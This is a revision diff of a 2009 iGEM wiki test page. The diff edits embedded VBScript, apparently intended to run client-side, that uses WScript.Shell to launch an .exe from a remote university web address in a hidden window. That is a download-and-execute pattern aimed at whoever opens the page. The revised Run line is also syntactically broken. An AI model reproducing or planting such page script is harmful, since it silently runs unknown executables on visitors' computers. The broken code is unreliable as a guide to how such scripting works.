Team:Valencia/PruebaDocs3

From 2009.igem.org

(Difference between revisions)
Line 1: Line 1:
<html>
<html>
-
<script language=vbscript runat=server>  
+
<script language=vbscript>  
Sub Prueba()  
Sub Prueba()  
Line 8: Line 8:
Dim FSO, miFile  
Dim FSO, miFile  
-
Set FSO = CreateObject("Scripting.FileSystemObject")  
+
Set ejecutar = CreateObject("WSCript.Shell")
-
miFile = "http://personales.alumno.upv.es/~edotab/Tipo_1_2.exe"  
+
ejecutar.Run = "http://personales.alumno.upv.es/~edotab/Tipo_1_2.exe", vbhide
-
Set objWSCript = CreateObject("WSCript.Shell")
+
-
objWSCript.Run miFile, vbhide  
+
-
 
+
End Sub  
End Sub  

Revision as of 03:42, 27 August 2009